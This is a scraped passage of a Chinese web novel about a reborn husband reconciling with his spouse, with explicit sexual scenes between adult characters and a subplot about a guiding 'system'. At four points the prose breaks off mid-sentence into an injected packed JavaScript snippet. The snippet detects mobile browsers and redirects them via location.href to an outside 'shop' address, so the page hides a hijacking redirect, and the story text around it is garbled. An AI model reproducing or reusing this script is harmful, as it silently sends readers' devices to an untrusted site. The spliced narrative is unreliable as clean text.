他不喜欢喻橙。这种不喜欢,不是讨厌,而是空白。对方在他身边徘徊了十几年,但在他的眼里,仍然与没有名字的陌生人没有任何差别。不会喜欢,更不会讨厌——谁会莫名其妙地去讨厌一个名字都不知道、脸都记不清的陌生人呢?多累啊。 江观潮拥有的感情很少,因此十分珍贵,喜怒哀乐,都只会给很少很少的人。 饶是如此,在几年后,母亲提出想让他与喻橙订婚时,江观潮还是答应了。 他总要结婚的,就算不是喻橙,也会是其他人。反正不会有任何区别,所以是谁,都一样。 ——可陈皓打碎了这份固执偏见。 江观潮只有黑白灰的世界里,一切都按照既定的规则按部就班地运行着,陈皓却像是一抹亮眼的彩,鲁莽地、不容质疑地闯入他的世界,从此以后,江观潮的世界有了颜色。 在陈皓面前,他会生气、会烦躁、会因为受不了对方的任性却又无计可施而郁闷恼火,会因为不满陈家的霸道行径用冷脸反抗,会在回想起昨晚明明不愿、却还是控制不住地在小少爷紧致温暖的身体里泄身而懊恼。 江观潮至今都记得,某次他应酬时喝了太多,十分难得地醉了一次酒。往常喝完酒后他都会在酒店睡一晚,那天却回了家。 第二天,他是在陈皓的怀里醒来的。小少爷抱着他的脑袋,睡得很沉,嘴里还嘟嘟囔囔说着梦话。当时的江观潮慌乱失措,后来他们分开,他又无数次地梦到那个早晨。 前世的他愚蠢无知,宛如一个独裁者,不由分说地将陈皓给他带来的所有情感波动归类为负面影响,他不想失控,只想回到原样,回到既定的、“正确”的轨道上。 但不是的。 江观潮紧紧抱着怀里湿漉漉的陈皓,闭上了眼睛。 不是的。他想要回去的那个冰冷的、苍白的世界,从来都不是正确的。 从始至终,让他懂得爱,让他付出了感情的人,都只有一个。 陈皓。 温暖的怀抱和吻,终于让瑟瑟发抖的小少爷缓过了神,所有方才被强行压下的委屈、痛苦、伤心都在丈夫面前毫无保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以你只是要开车是吗?”陈皓抹了抹眼睛,“不是因为烦我了,也不是因为讨厌我了,不耐烦了,对不对?” 江观潮心里阵阵发酸,这种感觉他从未体验过,就好像胸口堵着,喉头哽着,无从发泄,只能沉沉地淤积在心底。 他说:“不烦,也不讨厌。” 陈皓这才慢慢松开了手,乖乖转身,爬到副驾驶座去。 江观潮转身,单腿撑在座椅上,捞过后座放着的毯子,将湿漉漉的小少爷从头到脚裹紧。 陈皓把半边脸埋在毯子里,只留着一双眼睛在外面,看着他:“我把你的衣服也弄湿了。” “没事。”江观潮发动了车子,抬手将暖气又调高了几度。 若是往常,陈皓早该抱怨车里的闷热了。可此刻,他只是将自己蜷缩在宽大的座椅里,裹着毯子,安静得像一只经历过抛弃后仍心有余悸的小猫。 江观潮心里一疼。 自己前世,是怎么忍心对着这样的陈皓提出离婚,又将其狠心抛弃的呢? 害怕小少爷真会生病,他不再耽误,发动车子,调头,朝着他们家的方向驶去。 却没有注意到,在他将视线转向前方的时候,副驾驶上的陈皓忽然转头,飞快地瞥了他一眼。 神情却不同方才在江观潮面前所表现出的惊慌失措,漆黑瞳仁中闪动着惊喜与困惑交织的光。仿佛一个在黑夜里踽踽独行了许久的人,终于找回了自己的宝藏。 15.隐瞒 陈皓发现自己重生的时候,还以为是在做梦。 彼时他正在一片分不清东南西北的倾盆大雨中,雨水如同冰冷的箭矢,从天而降,砸得他几乎骨头生疼。身上的衣服已经湿透,脑海里的记忆,还停留在高速路上安全气囊爆开的那一刻。 就在十分钟之前,他还放着音乐,哼着歌,为马上就能见到阔别四年的丈夫而欢欣不已。十分钟之后,他却被夹在变形的车体里,强烈的撞击感让他想吐,剧烈的疼痛让他想哭。 陈皓那时已经很久很久没有哭过了,江观潮出国那天,他目送了男人,在厕所隔间里痛痛快快地哭了一场,然后擦干眼泪,仰首挺胸的离开,再没在其他人面前掉过眼泪,哪怕对面是父母和大哥也一样。 以前他掉眼泪,是因为可以得到关心和妥协。可现在他失去了陈家幺子的身份,眼泪便也跟着一文不值。陈皓想要得到的是爱护,而不是怜悯。 他强迫自己坚强,开始工作,开始学那些他曾不屑一顾的人情世故,开始一个人生活。就这么等了四年,终于等来了江观潮回国的消息。 当年和江观潮在一起后,陈皓听过很多不赞同的声音。不止是因为他上赶着抢别人的未婚夫这件事,更多的人,认为他强行要和一个不爱他的人在一起,是不会有什么好结果的。 后来也果然如此。 陈皓知道是自己强迫了江观潮,是自己夺走了江观潮本应和竹马男友一起获得的幸福。于是男人的冷言冷语,他都乖乖受着,被拒绝被远离,他会发脾气,但最后也只是一个人抹眼泪。 身世被曝光后,父母、大哥、以前的狐朋狗友,全部轮番上阵,只为了劝他签下那份和江观潮的离婚协议书。 他们说,喻橙这些年过得真的很不容易。 他们说,江观潮和喻橙心意相通,情合意投,他如果真的爱江观潮,就应该放手成全。 这些事,这些话,陈皓都懂。 他很自私,明明没有让心爱之人获得幸福的能力,却还是倔强地不愿放手。也很卑劣,明明知道心爱之人有喜欢的对象,还用尽方法将他们拆散,只为了满足自己的私欲。 但是没有办法。 他就是这么自私,就是爱江观潮,就是接受不了江观潮离开自己身边。父母、哥哥,名下的房子股份,能还回去的,陈皓都还回去了,唯独江观潮,他不愿妥协。 其实,如果江观潮亲口对他说,他和他在一起不幸福,想要和喻橙再续前缘,陈皓……可能会考虑那么一下。 但江观潮从未这么说过。 所以他才不要放手!绝不! 绝不…… 鲜血不断流下,体温逐渐消失,疼痛褪去,陈皓开始感觉到冷。 他都等了四年了…… 为什么坚持了这么久,还是抓不住…… 陈皓垂下眼睫,失去意识前的最后一个想法,是想再见一面江观潮。 谁能想到,这个不可能的愿望,竟然实现了。 意识到自己回到了四年前,陈皓没有任何犹豫地推开了追上来给他送伞的大哥,转而拨通了江观潮的电话。 而电话那头的男人温柔到陈皓几乎不敢相信,他唤他“皓皓”,问他在哪儿。 那瞬间,陈皓前世今生忍了不知多久的泪水彻底溃堤,他情绪崩溃,脑海里只剩下了江观潮的影子。 还好男人也没有让他失望。 眼前的江观潮和前世冷漠的模样有着很大差别,但陈皓并不清楚,这差别究竟是因为什么,于是暗自下定了决心,不要被发现了自己重生的事实,免得失手打碎了这难得的温柔,让丈夫又回到从前冰冷的模样。 -- 半小时后,车子缓缓驶入车库,江观潮拉下手刹,下车。他没有离开,而是绕过车头,拉开了副驾驶的车门。 陈皓还在解身上的安全带,插扣刚刚弹开,他身子一轻,已经被江观潮给捞进了怀里。 车外与车内,有着很明显的温度差,江观潮将陈皓抱在怀里,随意踹上车门,低声问他:“冷不冷?” 陈皓看了他一眼,胳膊小心翼翼地伸出来,搂住了江观潮的脖子,湿漉漉的头发在男人颈侧蹭了蹭:“冷,你快带我上去。” 江观潮便收紧了抱着他的手臂,大步朝侧门走去。 家里的阿姨早早就收到了消息,为他们准备好了暖身的汤,见到江观潮怀里狼狈得像是在水里游过一遭的陈皓,吓了一跳,忙问道:“江总,要给小陈少准备感冒药吗?” “备上吧。”江观潮道:“等会儿皓皓洗完澡,和汤一起拿上来。” “好,好。” 阿姨连声应着。等江观潮抱着陈皓上了楼,她才转过身去,用手机给陈夫人打了通电话:“……哎,对,夫人,是我。小陈少已经回家了,是小江总抱回来的……您放心,汤已经煲好了,我一定好好照顾小陈少……” 楼上,江观潮将陈皓送进浴室,刚想出门,就被小少爷抱住了腰。 “别走。”青年的鼻音很重,身体紧紧贴着江观潮:“留下来陪我。” 江观潮身形顿了顿:“我去给你拿衣服。” “不要。”陈皓似乎铁了心要耍无赖,整个人几乎黏在了江观潮身上,“我不要衣服,我只要你。” 江观潮没说话,陈皓便继续道:“江观潮……” 他尾音一勾,听着就像是要哭。江观潮只能投了降,小少爷刚刚遭受了那么沉重的打击,需要人在旁边陪着哄着,而自己,也确实应该将温柔与体贴成倍地补给他。 热水打开,水汽蒸腾中,陈皓红着眼睛,让江观潮帮自己脱身上湿透后黏在皮肤上的衣物。 江观潮便将他搂在怀里,修长手指灵活地解开了他衣服的纽扣。小少爷被娇养着长大,从未受过半点风吹雨打,全身皮肤白皙柔嫩,透着淡淡的粉红色,两点嫩红点缀其上,仿佛熟透了的果实,诱人采撷。 都是成年人,彼此还是结婚三年、该做的事都做过了的夫夫,这种情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933260|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况,想要不发生什么,显然是不可能的。 最后一件衣服扔到浴室角落,陈皓主动跪下身去,仰着脸,张开了嘴。 江观潮额角青筋一跳,伸手把陈皓重新拉了起来。不让他做,小少爷却反而闹了脾气:“我想吃!江观潮,你是不是嫌弃我?” “不是嫌弃你。”江观潮干脆把他整个人抱起来,宽大温暖的手掌握住他的膝盖:“地板凉,你膝盖会疼的。” “那我想吃怎么办?”陈皓盘住他的腰,手臂也挂到了江观潮的肩上。 白皙娇软的漂亮少年在怀里闹着要吃他,此情此景天底下怕是没几个男人能忍得住。江观潮偏偏就是那剩下的少数人,他拍了拍陈皓的屁股,伸手拿过浴球,挤了些沐浴露。 陈皓被浴球蹭到的时候还愣了下,等了一会儿,见江观潮真的只是在给自己洗澡,难以置信地低头看了一眼顶着自己的部分,又看了看面前男人没有表情的脸,眼睛一热,泪水瞬间掉了下来。 江观潮沐浴露上到一半,见怀里的人突然又哭起来,有点无措也有点茫然,眉头微微蹙起:“怎么了,疼吗?” “你为什么不碰我!”陈皓抽噎着:“是不是见了你的前任,就对我没兴趣了?你刚刚说的话果然都是在骗我……” “你想在浴室做?”江观潮弄明白了原因,指节拭去他的泪水,继续给他上沐浴露:“这里太冷了。” “……回卧室会做吗?”陈皓问。 “嗯。” “你会满足我吗?” “会。” “那我想吃你,可以吗?” “可以。”江观潮的表情仍然没什么变化,偏头在陈皓的唇边吻了一下:“你想要什么都可以。” 陈皓的脾气向来是来得快去得也快,他从没有享受过江观潮这样的温柔和纵容,抹了把眼泪,便乖乖靠在男人怀里,不动了。 却听江观潮不紧不慢地继续道:“还有,我没有前任。” 这句话,陈皓反应了好一会儿,才疑惑道:“喻橙……” “他只是联姻对象,我从来没有和他谈过恋爱。”江观潮语气平淡,仿佛完全不知道自己说出的话,对怀里的青年究竟意味着什么。 陈皓怔怔地看着他,等江观潮放下浴球,开始给他冲水,他才回过神来,猛地搂住江观潮的脖子:“真的吗?骗人,真的吗?那你只和我谈过恋爱?我是你的初恋?” 江观潮却道:“准确来说,我也没和你谈过。” 陈皓神情一僵,喜悦被打断,大脑和心同时一片空白,他下意识要缩回手,却被江观潮捏住了下巴。 男人向来冷漠没有任何波澜的面容上,此时却带着一种难以言喻的复杂,他轻轻叹了口气:“陈皓,我曾以为我这辈子都不会喜欢上谁,但你确实打破了我的固执己见。直到今天,我才终于认清自己的心意。” “我喜欢你,也只喜欢过你。” “所以别哭了。我们之间,从来都没有过别人。” 16.乖 感情的事,江观潮并不擅长。他的想法很简单:前世他们之间的隔阂,一半是因为他的冷漠,另一半则来自陈皓对他与喻橙关系的误会。既然如此,解释清楚、直接说开,是最好不过的选择。 而陈皓在听完这番表白后,整个人都僵住了。 浴室里的水汽氤氲成雾,温暖的水流哗哗作响。白皙青年像只受惊的小鹿,瞪着眼睛,张着嘴半天说不出来话。 江观潮的爱,他等了实在太久太久。从生到死又重生,足足两辈子,过程太过艰辛,以至于如今真的得到了梦寐以求的表白,反而不敢相信。 过了好一会儿,他才怔怔道:“……你说什么?” 江观潮用热水冲净两人身上的泡沫,关了水,从旁边拿了厚厚的浴巾,将小少爷牢牢裹住:“我说,我喜欢你。” “……我、我是你的初恋?” “是。” 江观潮答完这个字,便把裹在浴巾里的小少爷抱出了淋浴间,让他在洗手台的边沿坐着,自己则弯腰从抽屉里拿出吹风机。 就这么一个低头的工夫,江观潮再抬头,便发现陈皓已经哭得满脸通红,眼泪像是开了阀的水龙头,顺着尖尖的下巴一个劲地往下落。 在生意场上,江观潮或许无往不利,但在感情上,他却成了个笨嘴拙舌的人,抱着泪眼汪汪的爱人,不知如何安慰,只能先把手上的事情做好。 他极少这么伺候人,动作间难免有些生疏,好在小少爷虽然哭得厉害,但一直乖乖的,任由他摆弄。等吹风机停下,用不着江观潮开口,陈皓就已经伸出手,主动环住了他的肩背,揉着红肿的眼睛抽噎着说:“我也喜欢你,江观潮,我爱你。” 江观潮神情柔和几分,将他抱起来,却听青年继续道:“你骗我也没关系,但是要骗得久一点,好不好……” “没有骗你。”江观潮拨了拨他的头发,又把他抱了起来,这一次是朝着卧室的方向走去。 他们的主卧十分宽敞,却并不显得空荡,沙发、秋千、书架等各种陈设,填满了卧室的每个空隙。随处可见的相框中,全是江观潮与陈皓的合照,里面的江观潮没有任何表情,陈皓倒总是笑着的,搂着身边的男人,一双眉眼如月牙弯弯。 宽大柔软的双人床上,玩偶靠枕摆了一大堆,江观潮以前觉得杂乱拥挤,如今对比着自己独自居住时除了枕头被子再无其他的床,反而觉得这样很好,很充实。 他将洗完澡后皮肤粉白的小少爷放到床上,抬手打开了中央空调。 陈皓这会儿好不容易止住了眼泪,但语气中还是带着几分哭腔,见状一边抽噎一边委屈道:“我不想吹暖气……” “平时可以不开,今天不行。”江观潮从床头拿起内线电话,“汤和药现在拿上来吧。” 陈皓坐在床上,小声道:“你骗人。” 江观潮将座机话筒放回原处,闻言道:“骗什么了?” “你明明说回了卧室就给我吃的。”陈皓唇角向下,擦着眼泪道:“我期待了好久呢。” “……”江观潮走到衣柜旁,找了两套睡衣出来,自己换上一套,另一套摆在床边:“先喝汤,把药吃了。” “不要!”陈皓别过脸,虽然他还是对江观潮喜欢自己这件事感觉很不真实,但并不妨碍他想要向男人撒娇,要男人哄他:“我想给你做,我学了好久呢……” 他刚说完就意识到自己说漏嘴了。他的确学了很久,但那都是前世江观潮离开他以后的事情了。那时陈皓一个人在外面住,想极了的时候,就会躲在被子里面,偷偷地找片子过来看,他还找到一个聊天室,里面都是些同性恋中的0号,对于如何留住自己的男友,都有着自己的绝活。 陈皓躲在里面,一边窥屏一边偷学,照着里面那些人说的,买了香蕉回来练习,想要给心爱的男人最好的体验。 他已经不是陈家的小少爷,没有权利没有身份,还算有点价值的,也就是这具身体和这张脸了。他知道至少在床上,江观潮还是对他有反应的,所以他想要,也只能想到通过这种方式,去取悦江观潮。如果遇到不会的不擅长的,那他就去学。 可江观潮听了陈皓的话,却误会了什么,又见他神情慌张仿佛心虚,脸色骤然沉了下去,怒火和妒火一同涌上来,一向冷静自持的江大少,头一回尝到脑海短暂空白的滋味。他捏住了陈皓的下巴,冷冷道:“和谁学的?” 他一时忘了收住力气,陈皓吃痛,对上男人冷冰冰的目光,委屈道:“……疼!还能和谁学!和网上的人学的啊!” 又意识到什么,瞪圆眼睛,不可思议道:“江观潮,你吃醋了?” 江观潮很快反应过来,是自己误会了,松了指尖的力道:“……怎么学的?” 陈皓却道:“你先说,你是不是吃醋了!而且你都把我弄疼了,为什么不哄我?” 曾经让他不耐的小脾气,如今却让他满心怜爱,江观潮坐到床边,捧着陈皓的脸,在他下巴上亲了亲,承认:“我吃醋了。” 一想到陈皓有可能上过其他男人的床,他岂止是吃醋,简直恨不能将那男人揪出来除之而后快。 陈皓抿住了唇,笑意却控制不住地从唇角流露出来。他抱住江观潮,低声到:“我只喜欢你啊,怎么可能和其他人在一起,以后不准这么想我了。” 江观潮指腹在他腰侧蹭了蹭:“所以是怎么学的?” “就是……呃。”陈皓耳根红了红:“用香蕉呗……我练过好多次呢。” 江观潮道:“为了我学的?” “当然!”陈皓戳戳他的腹肌,想起当时独自一人时的孤独和学这些东西时的艰难,他忍不住抱怨道:“你知不知道学这个有多难,我吐了好几次才学会的,就是想讨好讨好你。结果你还骗我,推三阻四的不让我吃。” 江观潮怔了下。他本以为前世的陈皓任性自我,却不想在背地里,竟然会为了他,放下身段学习这些事情。 “没有不让,”江观潮不由得将陈皓搂紧了:“先喝汤喝药,不然之后生病了,难受的还是你。” 陈皓在他怀里哼了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938453|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好这时,阿姨推着餐车敲响了主卧的门。江观潮让她进来,将东西都摆好在一旁小桌上。 阿姨从陈皓小时候起就在陈家做活,陈皓结婚了又跟着过来,做饭打扫兼职陈夫人的眼线,对这对夫夫的情感状况可谓十分了解。本以为是你情我不愿的一对怨偶,谁成想几天前,小江总就像变了个人,对待陈皓的态度好了起来,两人的关系也从冷言冷语针锋相对,变得蜜里调油。 陈家的变故,阿姨也从陈夫人那边听到了点细枝末节,这会儿见到陈皓靠在江观潮怀里,两人亲亲热热的,而陈皓虽然眼眶还红着,但已止住了眼泪,心中十分欣慰,摆好东西后便离开了房间,将独处的空间留给夫夫俩。 汤是他们出门前就炖好的,香味浓郁,肉已经软烂脱骨。陈皓刚刚还不觉得,这会儿闻到香味,才发现自己早就饿了。一蹬腿,要江观潮抱自己去桌边,却被江观潮扯开了浴袍,套上了睡衣。 最后坐到桌旁,陈皓脸色微红,又有些不满道:“江观潮,你是不是对我没感觉啊。你其实根本不喜欢我吧。” 江观潮正给他舀汤,闻言淡淡地看了他一眼。 陈皓被这一眼看得莫名噤了声,缩了缩脖子,小声嘀咕道:“哼,不喜欢就不喜欢,反正事到如今,你这辈子都别想甩开我了。” 江观潮将汤碗摆到他面前:“快喝。” 陈皓乖乖端起碗喝了一口,眼睛亮了起来,他道:“里面加了猪肚哎,好喝,你也快喝。”说着站起身,要拿碗给江观潮盛。 江观潮拦住了他的手:“别乱动,乖乖喝汤。” 陈皓一瘪嘴,而江观潮早有准备,很快地补上了一句:“别烫到你。” 小少爷这才满意地笑起来,乖乖坐回了椅子上。 等吃完东西,又吃过药,小少爷又开始觉得屋子里太闷太热,闹着要关空调。江观潮摸了摸他的额头,确定没有发烧,身体也已经热乎起来,这才松口将空调给关了。 “快点快点。”吃完东西,陈皓也算彻底恢复了活力。前生的车祸,今世的重生,命运的改变,还有种种乱七八糟的事情,此刻都被他推到了脑后。现在,没有什么比眼前于他而言阔别了整整四年的江观潮更加重要。 他先一步跳上床,飞快地将身上的衣物全都扔到了床下的地板上,然后往被子里一钻,只露出一双眼睛来,眨巴眨巴,期待地看着床边的丈夫。 江观潮也终于顺着他的心意,解开了身上的睡衣外套,胳膊拉着衣服下摆一掀,露出一身结实有力的肌肉,胸肌腹肌块块分明,流畅的线条在腰身处收紧,又与深深的人鱼线一同向下延伸。 陈皓素了整整四年,想得狠了,连梦里都是江观潮的身体和他傲人的尺寸。此时只是看着赤裸着上半身的男人朝他走来,就忍不住夹紧了腿,眸光潋滟,带着渴求的颜色。 “皓皓。”江观潮单腿跪到床上,一伸手,将陈皓连人带被子一同拉到了身边,然后拨开自己的裤子,垂眸淡声道:“不是要吃吗?” “吃吧。” 17.想你 陈皓头脑一热,没有任何犹豫地、几乎可以说是急切地扑向了江观潮。 他为了这一刻做足了准备,前世那无数个孤独的冰冷的夜晚,唯一支撑着他继续的,就是重逢后江观潮因此对他产生些许好感的可能性。 那时他面对的只是冰冷的物体,而现在,江观潮就在他面前。 陈皓理论经验丰富,实际操作却是头一回,他小心翼翼的,满心只想取悦自己的丈夫。 江观潮长舒一口气,低头看他。 窗外风雨交加,天色阴沉仿佛已经入夜。室内却一片祥和安宁,空调刚关不久,还留着几分未散去的温暖,昏暗的床头灯勾勒出他身前青年的轮廓,向来填满高傲的漂亮眉眼,此时却只剩下了一种近乎献祭的虔诚,仿佛此时他正讨好着的,是无价的珍宝。 前世,陈皓的深情、笨拙的讨好、藏在傲慢下的不安,江观潮全都视而不见。 曾经的无视,如今全变成了扎进他心底的软刺,并不多疼,却总不分时间场合地冒出来,时刻提醒着他曾经的自己有多么无情与冷漠。 陈皓的确练过,虽然生涩,但十分用心,时不时还会抬眼看看江观潮的反应。 他抬眼时睫毛颤动着,像振翅的蝶,喉间发出细微的呜咽。 江观潮能感觉到他的紧绷和不适,见他眼角有泪落下,享受之余,心中也有细细密密的心疼冒了出来。 “够了。”江观潮伸手想把他拉起来。 陈皓却固执地摇头。 江观潮闭了闭眼。在漂亮年轻的恋人献祭一般的讨好面前,本能到底占了上风,将他引以为傲的理性打压地抬不起头。 等到结束,陈皓呛了一下,眼角泛泪,却得意地笑了起来,像只偷腥成功的猫。 “怎么样?”他声音有点儿哑了,语气中的笑意几乎要满溢出来,“我学得不错吧?” 江观潮直接俯身吻了上去。 陈皓被亲得晕头转向,口中喃喃唤道:“江观潮……” 江观潮从床头柜上摸索着拿了东西,低头安抚地在陈皓唇上亲了亲:“乖。” 陈皓急切地伸手,江观潮却将他的手挡住:“不要闹。” “我就要闹。”陈皓舔着唇,像一只饿久了的小兽,香喷喷的肉就在眼前,哪可能老老实实地留在原地不动。 一次不得,陈皓便转了方向,去摸男人的胸肌和腹肌。 他的指尖勾画着分明的轮廓,像小猫的爪子在轻轻地挠。 然而,江观潮在这事上极其有耐心,无论小少爷怎么催促,都沉稳地做自己的事。 陈皓见他没有分毫动摇,不由得想起以往每次亲密时,男人那敷衍又冷漠的模样。似乎从始至终都只有他在沉溺,他在享受,他越陷越深。 而江观潮,始终只是岸边上的旁观者。 “你是不是对我没兴趣……”陈皓委屈地问。 江观潮看了他一眼,选择用行动告诉他答案。 …… 泪水不断地落下,陈皓今天哭了太多,眼睛都烫烫地疼起来。 江观潮亲了他一下,低声问:“痛吗?” “不痛,不痛。”陈皓紧紧扒着他的肩膀,眼泪流得更凶,却只是不停地、断断续续地重复:“我想你,我好想你,江观潮……” 江观潮搂着怀里的小少爷,好像懂了什么,落下的吻更加温柔。 他记得前世敷衍的每一次亲密,记得陈皓失落的眼神。 于是作为弥补一般,这一次,他用耐心和温柔,彻底喂饱了自己的爱人。 亲密过后,陈皓全身酥软,翻了个身,脸颊眷恋地在男人肩上蹭了蹭。 结婚三年,他还是头回吃饱,浑身都透着餍足。 “老公,”他有意黏糊,半是试探半是撒娇道:“好舒服。” 江观潮捏了捏他的耳朵,对这个称呼,竟然觉得有点喜欢。 陈皓继续道:“你呢?舒服吗?” 江观潮“嗯”了一声。 这个单音节显然没能让小少爷满意,他撅起嘴,戳着江观潮的肌肉:“我都那么努力了,你就用一个‘嗯’字敷衍我?” 江观潮手臂圈住他:“皓皓。” “干嘛?” “我爱你。” “……”陈皓顿了好一会儿,将脸埋进江观潮的怀里,才哑声回道:“我也好爱你。” 江观潮感觉到他的脸湿漉漉的,也没有戳穿,只摸了摸他的头发。 -- 有过激烈的情事,先前又经历了一番大喜大悲,陈皓靠着江观潮,没多久就睡着了。 江观潮看他眼睛肿得厉害,等他睡沉了,便起身,从楼下拿了眼贴上来,贴在他的眼睛上,然后摸了摸他的头发。 却没有重新躺下,而是起身,走向浴室。 先前回来时,陈皓全身冰凉,怕他感冒,那些价值不菲的衣物全都被一股脑脱下来扔在角落里,团成一团。江观潮弯腰,将那些衣服放进脏衣篓里,最后拎起陈皓的外套,摸了摸他的口袋。 手机、车钥匙、奶糖…… 江观潮从里面找出那枚母亲送出的玉牌时,心里并没有多么惊讶。 早在洗澡的时候,他就发现这枚玉牌不见了。虽然江观潮并不认为一个首饰能代表什么,但陈皓对其宝贝得不得了,做什么都不离身,且没事就拿出来把玩几下,简直爱不释手。 现在,被他宝贝得不得了的玉牌,却和一堆杂物一起装在口袋里。 这只可能有一个解释:陈皓不记得了。 他不记得自己为什么会戴着这样一块玉牌,也不记得这玉牌是从何而来,匆忙间以为是陈家人给他的东西,便摘了下来,随手放进了口袋。 还有,刚刚陈皓说,他为了给他做,一个人用香蕉练习了很久很久。但江观潮实在很难想象,这三年里,众星捧月的小少爷会有时间和心思做这样的事情。 更重要的是,陈皓刚刚搂着他的脖子,不停地说想他,让他不要离开。 ——答案已经很明显。 陈皓在离开他前往陈家的这短短几小时里,重生了。 江观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950441|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮极少对这个世界心怀感激,但此刻,他由心而发地感谢起命运。 随即,他终于想到了什么,朝着半空中试探道:“系统,是你做的吗?” -- “……宿主发现他的爱人重生了!”江观潮从陈皓的外套里找到玉牌时,小七正趴在屏幕前看得津津有味,又忍不住担心道,“初代管理官大人,这样真的没关系吗?会不会违规呀?” 一般来说,能在小世界里完成重生、穿越等操作的,就只有任务员和系统,若是其他角色出现类似情况,就会被认定为BUG甚至病毒,予以清除。 “有什么违规的?”简陆冷冷道:“不是渣男改造么,既然要赎罪,就该向他亏欠了的对象赎,改过自新的好,也该给受尽了委屈的对象享受。” 是这样的吗? 小七挠了挠头。以它目前的经验,还不能很好的分析和掌握目前的情况,但初代管理官大人一定是对的,他都说没错了,那一定没有错! 它用力点头,又在半空中伸了个懒腰:“管理官大人,原来做任务都这么简单吗?”全程只需要围观,宿主自己就把任务进度给推了。 简陆没有理它,只低头翻看着手上的光屏。 小七觉得有点无聊,在空中打着滚,听到屏幕中传来宿主的声音时,它精神一振,忙转头道:“管理官大人!宿主喊我们呢!” 简陆道:“你去回。” 小七道:“我、我吗?” “你已经是个正式被投放到任务进程里的系统了,总不能什么都不会吧。” 小七被说服了,乖乖地化身光球,出现在现实世界。 -- 江观潮看见光球出现的瞬间,松了口气,低声道:“陈皓的重生,是你做的吗?” 【您好,宿主,我是辅佐系统,阿尔法7,您可以叫我小七。】光球内传出机械音:【是的,管理……001说,既然是渣男改造,所有的赎罪和改造后的成果,对象都应该是被您亏欠的对象,所以让您的爱人也跟着重生了。】 猜测得到了确认,江观潮放下心来,真心实意道:“谢谢。”又问:“你和001不是同一个系统?” 光球道:【不客气。我是001的辅佐系统,我们都是为了帮助宿主顺利完成任务,才来到这里的。】 系统竟然还有辅佐系统。江观潮难免感觉新奇,他道:“还有……陈皓似乎失去了之前的记忆。” 光球解释道:【您的爱人不是失忆了,只是因为宿主先行重生,改变了原本的世界线,导致他的记忆与当前的世界线有所偏差。】 江观潮道:“好,我没有其他问题了。” 光球便在半空中绕了个圈,消失不见。 江观潮将玉牌和其他东西都拿着,回到了主卧。双人床上,陈皓仍沉沉睡着,只是眉头紧锁,看着很不安稳。 他摸了下小少爷的额头,再次确认温度正常,才掀开被子,翻身上床。陈皓感觉到热源的接近,主动靠了过来,江观潮搂住他,把玉牌压在枕头下,跟着闭上了眼睛。 18.玉牌 次日,江观潮早早就醒了,洗漱后正在更衣室里打领带,却听见卧室里传出一阵声响,他转头,看见顶着一头乱发的陈皓裹着被子跌跌撞撞地闯了进来。 江观潮修长的手指系紧领带的结,表情没什么变化:“怎么了?” “江、江观潮……”陈皓脸上神情怔忪,似乎刚从一场大梦中醒来,喊完江观潮的名字后,就脱力般跌坐在了地上:“我还以为你走了……” 江观潮走上前,搂着他的腰,将他连人带被子扶起来:“我确实还有点事要回公司处理。” 昨天他走得太过匆忙,虽然已尽可能地将事务都分给了下属,但他后面的休假太长,还有一些文件需要他亲自处理和签名。 陈皓慢慢地“哦”了一声,听起来有些失望。没有多问,手指却抓着江观潮的手,没有松开。 他们昨晚才亲密过,可一觉醒来,陈皓仍然感觉那些亲吻和温柔就像是自己的梦,就像一碰就碎的水中月一般不真实。他喉头滚动,想问江观潮能不能别走,可也清楚工作公司对江观潮来说有多么重要,嘴唇动了动,到底什么都没说出口,只一双杏眼可怜兮兮地盯着眼前的男人,像一只不想要主人离开自己的小狗。 江观潮眉眼微动,指腹在青年的手背上轻轻摩挲:“要不要和我一起去公司?” 陈皓眼睛瞪大:“可以吗?” 江观潮道:“你又不是第一次去。” “可、那个和这个不一样啊!”陈皓像是被大奖砸中,不可置信地瞪着眼反应了一会儿,才猛地松了身上的被子,扑进了江观潮的怀里:“我要去我要去我要去,你带我去!” 昨天做完后,小少爷就累得睡了,这会儿身上也没穿衣服,江观潮将他印满了红痕指印的身体抱紧,拍了拍他的屁股:“去洗澡换衣服。” “好。”陈皓蹭了蹭江观潮的脸:“你等我,我很快的。” “不用急,慢慢来,我会等你。”江观潮想了想,又叮嘱道:“不要在浴室里摔倒了。” “哎呀知道啦。”陈皓笑着把被子捡起来,裹着跑去了浴室。 